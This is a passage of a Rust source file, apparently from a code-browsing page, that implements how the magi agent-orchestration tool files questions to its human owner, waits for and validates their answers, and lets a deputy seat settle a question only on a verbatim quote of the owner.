Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63pub const SCHEMA: u32 = 11;
64
65/// How often the wait re-reads the question file.
66///
67/// Three seconds: the answer comes from a human on a phone, so the difference
68/// between three seconds and three hundred milliseconds is invisible to them,
69/// while a tight loop would `stat` and parse a file thousands of times per
70/// minute for a wait that routinely lasts hours. Nothing is held between polls -
71/// no lock, no open handle - because `magi web` and `magi answer` write the
72/// same file from other processes.
73const POLL: Duration = Duration::from_secs(3);
74
75/// How long an agent's reply may go unnoticed before it earns its own
76/// notification.
77///
78/// An operator reading the card when the agent replies does not need paging
79/// again for a conversation they are already in; one who walked away still
80/// needs the tap on the shoulder. Five minutes is a judgement call about that
81/// line, not a policy a repository has an opinion about, which is why it lives
82/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
83/// whether they are still looking at the phone, and neither can this build, so
84/// there is nothing for a per-repository setting to be *right* about.
85const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
86
87/// How long the operator's notification command may run before it is killed.
88///
89/// A webhook that hangs must not hang the run. Twenty seconds is long enough
90/// for a slow HTTP round trip and short enough that the operator still gets the
91/// question filed and the run parked in a bounded time.
92const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
93
94/// The longest a single `magi ask` invocation may block on the owner before
95/// it hands the wait back to whatever is running it, rather than to
96/// [`Question::abandon`].
97///
98/// `answer_timeout` defaults to a day, and that is a deadline for the
99/// *question*, not a budget the calling process is free to spend all at
100/// once: an agent CLI's own shell tool kills a command that runs much longer
101/// than this, and the child it kills is `magi ask` itself - the one thing
102/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
103/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
104/// out, and the seat's own summary said it had backgrounded the blocking
105/// `magi ask` and would "continue once the owner replies" - except nothing
106/// was left to notice the reply. The seat exited `completed`, the
107/// backgrounded child died with it, and the owner's eventual answer on the
108/// web UI had nobody left to read it.
109///
110/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
111/// and returns [`Wait::Pending`] if nothing happened, which is not a
112/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
113/// process the tool timeout has never seen. Four minutes leaves a ten-minute
114/// tool budget room for the CLI's own startup and the notification's round
115/// trip, while staying long enough that an owner who answers within the hour
116/// is not making an agent loop through fifteen slices to hear about it.
117const WAIT_SLICE: Duration = Duration::from_secs(240);
118
119/// How long a lease stays believable after its last beat.
120///
121/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
122/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
123/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
124/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
125/// or about to be, and a lease that is merely between two calls must not be
126/// mistaken for that - the daemon waiter would start a second agent on a
127/// conversation the first is still in.
128pub const LEASE_TTL: Duration = Duration::from_secs(90);
129
130/// How long [`Questions::update`]'s lock may be held before it is presumed
131/// left behind by a writer that died.
132const LOCK_STALE: Duration = Duration::from_secs(10);
133
134/// Environment variable naming the base URL of the web UI, for `{url}`.
135///
136/// A run cannot discover this by itself: `magi web` is a different process,
137/// usually started by hand and often on a different machine on the tailnet, and
138/// the address it settled on (Tailscale IP, port, or the fallback it warned
139/// about) exists only in that process. So the operator names it once, in the
140/// environment `magi serve` runs in - `magi web --open` prints exactly the
141/// string to use on stdout. Unset means `{url}` expands to nothing rather than
142/// to a guess: a notification carrying a link to an address nothing is
143/// listening on is worse than one carrying no link at all.
144pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
145
146/// Largest panel magi will store, html plus assets.
147///
148/// Checked as a total, before a single byte is written, because the failure
149/// this prevents is not a full disk but a half-copied panel: an agent that
150/// points at a 200 MB screen recording must get one clean error, not a
151/// directory holding the three small files that fitted before the copy died.
152/// Eight mebibytes is far more than a diff, a table and a handful of images
153/// need, and small enough that a phone on a hotel link still renders it.
154pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
155
156/// Suffix of the directory holding one question's panel.
157///
158/// A sibling of `<id>.json` rather than a subdirectory of the store, so
159/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
160/// see it, and so a panel travels with the question it belongs to.
161const PANEL_DIR: &str = ".panel";
162
163/// The panel's entry point inside its directory.
164const PANEL_HTML: &str = "index.html";
165
166/// Scratch directory a panel is assembled in before it is swapped into place.
167const PANEL_TMP: &str = ".panel.tmp";
168
169/// The one asset filename rule, applied on write **and** on read.
170///
171/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
172/// containing `..`. The pattern is this narrow because the name arrives from
173/// two untrusted directions and is then joined onto a path: an agent naming
174/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
175/// character that could change what the join means is outside the set - `/`
176/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
177/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
178/// refused, which matters because on Windows `Path::join` with an absolute
179/// path *discards the whole prefix* and would serve any file on the disk.
180/// `..` is refused anywhere rather than only at the front so the rule reads
181/// the same as the sentence "no traversal" to anyone auditing it.
182///
183/// The length bound keeps a name inside every filesystem's limit, so a panel
184/// that stores cannot fail to store on the operator's other machine.
185pub fn valid_asset_name(name: &str) -> bool {
186    if name.is_empty() || name.len() > 64 || name.contains("..") {
187        return false;
188    }
189    let mut chars = name.chars();
190    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
191        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
192}
193
194/// Where a question is in its life.
195#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
196#[serde(rename_all = "lowercase")]
197pub enum QuestionStatus {
198    /// Asked, and waiting for the owner. A run is parked behind it.
199    Open,
200    /// The owner decided. [`Question::answer`] holds what they said.
201    Answered,
202    /// Nobody answered in time, or the question outlived the run that asked.
203    /// Kept rather than deleted: what was asked and never answered is the
204    /// evidence that the operator was the bottleneck.
205    Abandoned,
206}
207
208impl QuestionStatus {
209    /// Is a run still parked behind this question?
210    pub fn open(self) -> bool {
211        matches!(self, Self::Open)
212    }
213
214    /// Lowercase name, as it appears on disk and in the API.
215    pub fn as_str(self) -> &'static str {
216        match self {
217            Self::Open => "open",
218            Self::Answered => "answered",
219            Self::Abandoned => "abandoned",
220        }
221    }
222}
223
224/// What the owner said.
225///
226/// Two shapes rather than one string because the question decides which is
227/// admissible, and [`Question::answer`] enforces it. A phone that posts
228/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
229/// front end, and it is caught here rather than handed to an agent as fact.
230#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
231#[serde(rename_all = "lowercase")]
232pub enum Answer {
233    /// One of the offered choices, verbatim.
234    Choice(String),
235    /// Free text, for a question that offered no choices.
236    Text(String),
237}
238
239/// What the daemon does to the task behind a question when a particular
240/// choice is answered.
241///
242/// A closed set, attached to a choice by the asker (`magi ask --choice X
243/// --action X=resume`) and matched by the choice's exact text. Nothing here
244/// is ever derived from the wording of a label or of a free-text answer: a
245/// question without an action for the chosen label does nothing but answer.
246#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
247#[serde(tag = "do", rename_all = "lowercase")]
248pub enum ChoiceAction {
249    /// Resume this run of the task that owns the question.
250    Resume {
251        /// The run to continue. Must still be the task's latest run.
252        run: String,
253    },
254    /// Requeue the task as a fresh competition.
255    Requeue,
256    /// Hold the task until the operator releases it.
257    Hold,
258    /// Close the task as done.
259    Done,
260}
261
262impl ChoiceAction {
263    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
264    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
265    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
266    /// action; whether the label is one of the choices is the caller's check.
267    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
268        let Some((label, verb)) = spec.rsplit_once('=') else {
269            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
270        };
271        let label = label.trim();
272        if label.is_empty() {
273            bail!("`--action {spec}` names no choice before `=`");
274        }
275        let verb = verb.trim();
276        let action = match verb.split_once(':') {
277            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
278                run: run.trim().to_owned(),
279            },
280            None if verb == "resume" => {
281                if default_run.is_empty() {
282                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
283                }
284                Self::Resume {
285                    run: default_run.to_owned(),
286                }
287            }
288            None if verb == "requeue" => Self::Requeue,
289            None if verb == "hold" => Self::Hold,
290            None if verb == "done" => Self::Done,
291            _ => bail!(
292                "unknown action `{verb}` in `--action {spec}`; \
293                 use resume[:<run>], requeue, hold or done"
294            ),
295        };
296        Ok((label.to_owned(), action))
297    }
298
299    /// Short human wording, for `magi show` and the card.
300    pub fn describe(&self) -> String {
301        match self {
302            Self::Resume { run } => format!("resume run {}", short(run)),
303            Self::Requeue => "requeue the task".to_owned(),
304            Self::Hold => "hold the task until the operator releases it".to_owned(),
305            Self::Done => "mark the task done".to_owned(),
306        }
307    }
308}
309
310/// Parse every `--action` value against the offered `choices`, refusing a
311/// label the question does not offer (it could never fire).
312pub fn parse_actions(
313    specs: &[String],
314    choices: &[String],
315    default_run: &str,
316) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
317    let mut out = std::collections::BTreeMap::new();
318    for spec in specs {
319        let (label, action) = ChoiceAction::parse(spec, default_run)?;
320        if !choices.contains(&label) {
321            bail!(
322                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
323                choices.join(", ")
324            );
325        }
326        if out.insert(label.clone(), action).is_some() {
327            bail!("more than one --action for `{label}`");
328        }
329    }
330    Ok(out)
331}
332
333/// Who wrote one turn of a question's conversation.
334///
335/// Two values, not three: [`Question::thread`] is the record of a single
336/// question stopping and resuming, and the agent that resumes it is always
337/// the one that asked - a fresh consultant would have to be caught up on
338/// everything the first agent already knows, which is the round trip this
339/// module exists to avoid. The names and the wire spelling deliberately match
340/// [`crate::chat::Who`], which this module does not depend on: the two are the
341/// same idea in two products, and giving them the same shape is what lets the
342/// phone render both with one component.
343#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
344#[serde(rename_all = "lowercase")]
345pub enum Who {
346    /// The person the agent asked.
347    Operator,
348    /// The agent that asked, replying to a question of its own rather than
349    /// answering.
350    Agent,
351}
352
353/// One turn in a question's back-and-forth, after the question itself was
354/// asked.
355///
356/// The question's own `summary`/`detail`/`choices` already carry the agent's
357/// opening move, so a turn only exists from the moment the owner talks back -
358/// [`Question::thread`] starts empty and stays that way for the overwhelming
359/// majority of questions, which are answered on the first read.
360#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
361#[serde(deny_unknown_fields)]
362pub struct Turn {
363    /// Who said it.
364    pub who: Who,
365    /// What they said.
366    pub body: String,
367    /// When they said it.
368    pub at: Timestamp,
369    /// A deputy's own report beside a settle: side effects it caused and
370    /// requests it could not carry out. The deputy's claim, never checked by
371    /// magi, and kept apart from `body` so the verified "Settled as" line and
372    /// this self-report cannot be mistaken for each other.
373    #[serde(default, skip_serializing_if = "Option::is_none")]
374    pub note: Option<String>,
375}
376
377/// Who is keeping watch over an open question.
378#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
379#[serde(rename_all = "lowercase")]
380pub enum WaiterKind {
381    /// The `magi ask` process the agent started.
382    Asker,
383    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
384    /// own session because the asker is gone.
385    Daemon,
386    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
387    /// `magi serve` runs for a question the conductor filed, so that something
388    /// which remembers why it was asked is on the other end.
389    Deputy,
390}
391
392/// The follow-up seat a conductor question hands its wait to.
393///
394/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
395/// reply to its question would reach nobody. A deputy is a seat of its own -
396/// keyed `deputy-<question id>`, never the conductor's shared seat - that
397/// inherits what the conductor knew about this one question ([`Deputy::brief`])
398/// and blocks on it with `magi ask --wait`. Persisted on the question so a
399/// restarted daemon resumes the same CLI conversation instead of assuming it.
400///
401/// Written only through [`Questions::update`]: the owner's say and answer land
402/// on the same file.
403#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
404pub struct Deputy {
405    /// Why the question was asked, what each choice leads to: the conductor's
406    /// context for this one question, handed to the deputy in its prompt.
407    pub brief: String,
408    /// The agent that holds the seat. Empty until the first start.
409    #[serde(default)]
410    pub agent: String,
411    /// The deputy's own conversation. `None` until the first start.
412    #[serde(default)]
413    pub seat: Option<crate::agent::SeatState>,
414    /// How many times a deputy turn was started for this question. Never reset
415    /// by a restart, so a deputy that keeps dying is bounded.
416    #[serde(default)]
417    pub starts: u32,
418}
419
420impl Deputy {
421    /// A deputy that has not started yet, holding `brief`.
422    pub fn new(brief: String) -> Self {
423        Self {
424            brief,
425            agent: String::new(),
426            seat: None,
427            starts: 0,
428        }
429    }
430}
431
432/// Seat name of the deputy for question `id`.
433pub fn deputy_seat_key(id: &str) -> String {
434    format!("deputy-{}", short(id))
435}
436
437/// The record's note of who was last known to be waiting.
438///
439/// A note, not a promise: nothing rewrites the question when a holder dies, so
440/// whether it still holds is read from the [`Lease`] beside it.
441#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
442pub struct Waiter {
443    /// Who took the wait.
444    pub kind: WaiterKind,
445    /// When they took it.
446    pub since: Timestamp,
447}
448
449/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
450///
451/// A sidecar rather than a field of the question because a holder beats every
452/// few seconds, and rewriting the question that often would race the phone's
453/// answer and say with lost updates. It is not `*.json`, so
454/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
455/// different things across platforms, while a beat that stopped is evidence on
456/// every one.
457#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
458pub struct Lease {
459    /// Who beat last.
460    pub kind: WaiterKind,
461    /// Their process id, for a human reading the file.
462    pub pid: u32,
463    /// When they beat last.
464    pub beat_at: Timestamp,
465}
466
467impl Lease {
468    /// Was the last beat recent enough to believe the holder is still there?
469    pub fn fresh(&self, now: Timestamp) -> bool {
470        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
471    }
472}
473
474/// One decision magi will not take on the owner's behalf.
475#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
476#[serde(deny_unknown_fields)]
477pub struct Question {
478    /// On-disk format version.
479    pub schema: u32,
480    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
481    /// task's, so the operator can paste any of them at any prefix argument.
482    pub id: String,
483    /// Run that is parked behind this question.
484    pub run: String,
485    /// Graph node the asking agent was working in, e.g. `implement`.
486    pub node: String,
487    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
488    /// this" decides whether the answer unblocks one candidate or all of them.
489    pub seat: String,
490    /// One line: the question itself. This is what a notification carries and
491    /// what the phone shows above the answer controls.
492    pub summary: String,
493    /// The reasoning behind the question, as markdown. May be long, may be
494    /// empty. Rendered as text nodes by the UI, never as markup.
495    pub detail: String,
496    /// Display-only comparison; never used to decide or construct a post.
497    #[serde(default, skip_serializing_if = "Option::is_none")]
498    pub posting_comparison: Option<crate::github_text::PostingComparison>,
499    /// The admissible answers. **Empty means free text** - that one condition
500    /// is the whole difference between the two kinds of question, on disk, in
501    /// the UI, and in [`Question::answer`]'s validation.
502    pub choices: Vec<String>,
503    /// Exact PR and head displayed to the owner. Absent on legacy questions.
504    #[serde(default)]
505    pub merge_target: Option<crate::merge_decision::Target>,
506    /// What the daemon does when a given choice is answered, keyed by the
507    /// choice's exact text. Empty for an ordinary question. A key is always
508    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
509    #[serde(default)]
510    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
511    /// Does this question have an agent-authored HTML panel beside it?
512    ///
513    /// Serialised with a default so a question written by an older magi - or
514    /// by hand - still deserialises rather than failing the whole store, which
515    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
516    /// open question the operator was looking for.
517    #[serde(default)]
518    pub panel: bool,
519    /// Files copied in beside the panel's html, by base name, sorted.
520    ///
521    /// The list exists so a reader knows what a panel is made of without
522    /// walking the directory, and every entry satisfies [`valid_asset_name`].
523    /// Sorted because it is compared - a question re-asked with the same
524    /// assets in a different argument order is not a different question.
525    #[serde(default)]
526    pub assets: Vec<String>,
527    /// Current state.
528    pub status: QuestionStatus,
529    /// When the agent asked.
530    pub asked_at: Timestamp,
531    /// Operator decision generation when a built-in triage question was filed.
532    #[serde(default)]
533    pub triage_generation: Option<u64>,
534    /// When the owner answered, if they did.
535    pub answered_at: Option<Timestamp>,
536    /// What they said.
537    pub answer: Option<Answer>,
538    /// Everything said after the question itself, oldest first: the owner
539    /// asking back, the agent replying, as many times as it takes before an
540    /// [`Answer`] lands.
541    ///
542    /// `#[serde(default)]` so a question written before this field existed -
543    /// every question on disk before this build - still deserialises as one
544    /// with no conversation yet, rather than failing [`Questions::list`]'s
545    /// read and quietly hiding an open question from the operator.
546    #[serde(default)]
547    pub thread: Vec<Turn>,
548    /// The `answer_timeout`, in seconds, that was in force when this question
549    /// was first asked. `0` means unrecorded - a question written before this
550    /// field existed, or one filed by a flow (land's merge-approval gate)
551    /// that never sets it because it never resumes a sliced wait.
552    ///
553    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
554    /// or the config default) is decided by the caller, after the question
555    /// already exists - so it starts at `0` here and whoever files a fresh
556    /// question sets it once, the same way [`Question::panel`] is set by
557    /// [`Questions::put_panel`] rather than by the constructor. It is never
558    /// touched again: `magi ask --wait` reads it as the one deadline it is
559    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
560    /// on a later call can never quietly extend or shrink the budget the
561    /// question was actually asked with.
562    #[serde(default)]
563    pub answer_timeout: u64,
564    /// The directory the asking agent was working in when it asked, so the
565    /// daemon waiter can resume that agent's session from where it stood.
566    /// `None` for a question no `magi ask` filed (land's approval gate, a
567    /// release notice, one written before this field existed): those have no
568    /// agent to hand anything back to, and the waiter leaves them alone.
569    #[serde(default)]
570    pub cwd: Option<String>,
571    /// Who was last known to be waiting - see [`Waiter`].
572    #[serde(default)]
573    pub waiter: Option<Waiter>,
574    /// How many entries of [`Question::thread`] the agent has been shown, by
575    /// the asking process printing them or by the waiter resuming the seat.
576    /// The owner's turn at an index at or past this has reached nobody yet.
577    #[serde(default)]
578    pub delivered_turns: usize,
579    /// Has the agent been told the [`Answer`]? The asker prints it as it
580    /// returns; the waiter delivers it when the asker was gone.
581    #[serde(default)]
582    pub answer_delivered: bool,
583    /// The follow-up seat waiting on this question, for a question the
584    /// conductor filed. `None` for every other question.
585    #[serde(default)]
586    pub deputy: Option<Deputy>,
587    /// Set once the owner handed this question to the chat it came from
588    /// ([`crate::consult::begin`]). The question stays open; this only records
589    /// that the chat was asked, so a second tap does not post it twice.
590    #[serde(default)]
591    pub consult: Option<ChatConsult>,
592    /// Persisted owner evidence for a standing conversation answer.
593    #[serde(default, skip_serializing_if = "Option::is_none")]
594    pub answer_authority: Option<crate::consult::AnswerAuthority>,
595    /// Independent task facts behind a conductor question. Answered questions
596    /// with unchanged facts must not be regenerated just to ask again.
597    #[serde(default)]
598    pub decision_context: Option<String>,
599}
600
601/// A question the owner passed to the chat conversation its task came from.
602#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
603pub struct ChatConsult {
604    /// The conversation the question was posted into.
605    pub talk: String,
606    /// When it was posted.
607    pub at: Timestamp,
608}
609
610impl Question {
611    /// Does `run` hold a task id rather than a run id? True for the
612    /// conductor's and the triage questions, which are filed about a task.
613    pub fn run_names_task(&self) -> bool {
614        matches!(
615            self.node.as_str(),
616            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
617        )
618    }
619
620    /// Ask something. Persist it with [`Questions::put`], or hand it to
621    /// [`ask_and_wait`], which files it and waits.
622    pub fn new(
623        run: String,
624        node: String,
625        seat: String,
626        summary: String,
627        detail: String,
628        choices: Vec<String>,
629    ) -> Self {
630        Self {
631            schema: SCHEMA,
632            id: new_id(),
633            run,
634            node,
635            seat,
636            summary,
637            detail,
638            posting_comparison: None,
639            choices,
640            merge_target: None,
641            actions: std::collections::BTreeMap::new(),
642            panel: false,
643            assets: Vec::new(),
644            status: QuestionStatus::Open,
645            asked_at: Timestamp::now(),
646            triage_generation: None,
647            answered_at: None,
648            answer: None,
649            thread: Vec::new(),
650            answer_timeout: 0,
651            cwd: None,
652            waiter: None,
653            delivered_turns: 0,
654            answer_delivered: false,
655            deputy: None,
656            consult: None,
657            answer_authority: None,
658            decision_context: None,
659        }
660    }
661
662    /// Short form used in reports and on the phone, matching a run's short id.
663    pub fn short(&self) -> &str {
664        short(&self.id)
665    }
666
667    /// The action attached to the choice that was answered, if the question
668    /// is answered with a choice that carries one. Free text never matches.
669    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
670        match (&self.status, &self.answer) {
671            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
672            _ => None,
673        }
674    }
675
676    /// Does this question want free text rather than one of a set?
677    pub fn free_text(&self) -> bool {
678        self.choices.is_empty()
679    }
680
681    /// Record an answer. Rejects a choice the question does not offer, free
682    /// text on a multiple-choice question, an empty answer, and a second
683    /// answer.
684    ///
685    /// Every rejection here is a case where accepting would put a fabrication
686    /// in front of an agent as if the owner had said it. The messages are
687    /// distinct because the caller is a web handler that shows them verbatim,
688    /// and "that is not one of the choices" and "this question is multiple
689    /// choice" are different mistakes with different fixes.
690    pub fn answer(&mut self, answer: Answer) -> Result<()> {
691        match self.status {
692            QuestionStatus::Answered => bail!(
693                "question {} was already answered; the run has moved on and a \
694                 second answer would be a decision nobody acted on",
695                self.short()
696            ),
697            QuestionStatus::Abandoned => bail!(
698                "question {} was abandoned and the run behind it is gone",
699                self.short()
700            ),
701            QuestionStatus::Open => {}
702        }
703        let body = match &answer {
704            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
705        };
706        if body.trim().is_empty() {
707            bail!(
708                "question {} needs an answer; an empty one tells the agent \
709                 nothing and it would guess anyway",
710                self.short()
711            );
712        }
713        match &answer {
714            Answer::Choice(c) if self.free_text() => bail!(
715                "question {} asks for free text, so `{c}` cannot be a choice \
716                 it offered",
717                self.short()
718            ),
719            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
720                "`{c}` is not one of the choices question {} offers: {}",
721                self.short(),
722                self.choices.join(", ")
723            ),
724            Answer::Text(_) if !self.free_text() => bail!(
725                "question {} is multiple choice; answer with one of: {}",
726                self.short(),
727                self.choices.join(", ")
728            ),
729            _ => {}
730        }
731        if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
732            bail!("hold cannot execute a question action");
733        }
734        self.answered_at = Some(Timestamp::now());
735        self.answer = Some(answer);
736        self.status = QuestionStatus::Answered;
737        Ok(())
738    }
739
740    /// Give up on an answer, keeping the record of what was asked.
741    ///
742    /// An answered question is left alone, which matters at exactly one moment:
743    /// the owner answering in the same second the wait's deadline passes. The
744    /// answer is the thing worth keeping there, and it has already been written
745    /// by another process.
746    ///
747    /// The reason is appended to [`Question::detail`] because the on-disk shape
748    /// is a contract with the front end and has no field of its own for it -
749    /// and "asked at 3am, nobody home for a day" belongs with the question, not
750    /// only in a log the operator will never open.
751    pub fn abandon(&mut self, why: impl Into<String>) {
752        if !self.status.open() {
753            return;
754        }
755        self.status = QuestionStatus::Abandoned;
756        let why = why.into();
757        let why = why.trim();
758        if why.is_empty() {
759            return;
760        }
761        if !self.detail.is_empty() {
762            self.detail.push('\n');
763        }
764        self.detail.push_str("\n_Abandoned: ");
765        self.detail.push_str(why);
766        self.detail.push_str("._\n");
767    }
768
769    /// The answer as the asking agent should read it.
770    ///
771    /// One string for both kinds of question: the agent's prompt says "the
772    /// owner answered:", and a chosen option and a typed sentence are the same
773    /// thing at that point. `None` while the question is open or abandoned, so
774    /// a caller cannot mistake silence for a decision.
775    pub fn resolution(&self) -> Option<String> {
776        match (self.status, &self.answer) {
777            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
778                Some(a.clone())
779            }
780            _ => None,
781        }
782    }
783
784    /// A deputy recording that the owner's own words settled the question.
785    ///
786    /// The owner decided in free text ("setup done") on a question that offers
787    /// choices, so no choice was ever tapped. This records `label` as the
788    /// answer - and nothing else: applying it is the daemon's existing path
789    /// for an answered conductor question. Refused unless the caller is this
790    /// question's deputy seat, `label` is one of the offered choices, and
791    /// `quote` appears verbatim in something the owner said; the quote is
792    /// kept in the thread as an agent turn so the record shows what the
793    /// decision rests on.
794    pub fn settle_by_deputy(
795        &mut self,
796        seat: &str,
797        label: &str,
798        quote: &str,
799        note: Option<&str>,
800    ) -> Result<()> {
801        let Some(deputy) = &self.deputy else {
802            bail!("question {} has no deputy", self.short());
803        };
804        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
805        if own != Some(seat) {
806            bail!("only the deputy of question {} may settle it", self.short());
807        }
808        if !self.choices.iter().any(|c| c == label) {
809            bail!(
810                "`{label}` is not one of the choices offered on question {}",
811                self.short()
812            );
813        }
814        let quote = quote.trim();
815        if quote.is_empty()
816            || !self
817                .thread
818                .iter()
819                .any(|t| t.who == Who::Operator && t.body.contains(quote))
820        {
821            bail!(
822                "the quote is not something the owner said on question {}",
823                self.short()
824            );
825        }
826        // The owner's latest message is what counts (an earlier one may since
827        // have been qualified or withdrawn).
828        let latest = self
829            .thread
830            .iter()
831            .rev()
832            .find(|t| t.who == Who::Operator)
833            .map(|t| {
834                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
835                    t.body.as_str()
836                } else {
837                    t.body.trim()
838                }
839            });
840        if let Some(message) = latest {
841            crate::consult::validate_batch_effect(self, label, message, quote)?;
842        }
843        if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
844            let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
845            crate::consult::validate_effect(self, label, message, quote, true)?;
846        } else if crate::deputy::merge_gated(self) {
847            // The merge is irreversible and a say is not a decision. `hold` must
848            // be the latest message exactly. For `merge`, whether the words are
849            // a clear, unhedged instruction is the deputy's judgement alone;
850            // all magi checks is that the quote is a verbatim part of that
851            // latest message.
852            let ok = if label == crate::land::APPROVE {
853                latest.is_some_and(|m| match &self.merge_target {
854                    Some(target) => m == format!("merge {}", target.head) && quote == m,
855                    None => m.contains(quote),
856                })
857            } else {
858                latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
859            };
860            if !ok {
861                bail!(
862                    "on a merge approval `{label}` settles it only when the quote is a \
863                     verbatim part of the owner's latest message ({}); if the wording is \
864                     doubtful, ask what they mean with `--thread` instead",
865                    if label == crate::land::HOLD {
866                        "for `hold`, the whole message"
867                    } else {
868                        "the quote must be the instruction itself"
869                    }
870                );
871            }
872        } else if self.node == crate::github_text::ASK_NODE
873            && crate::deputy::destructive(self, label)
874        {
875            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
876                bail!(
877                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
878                );
879            }
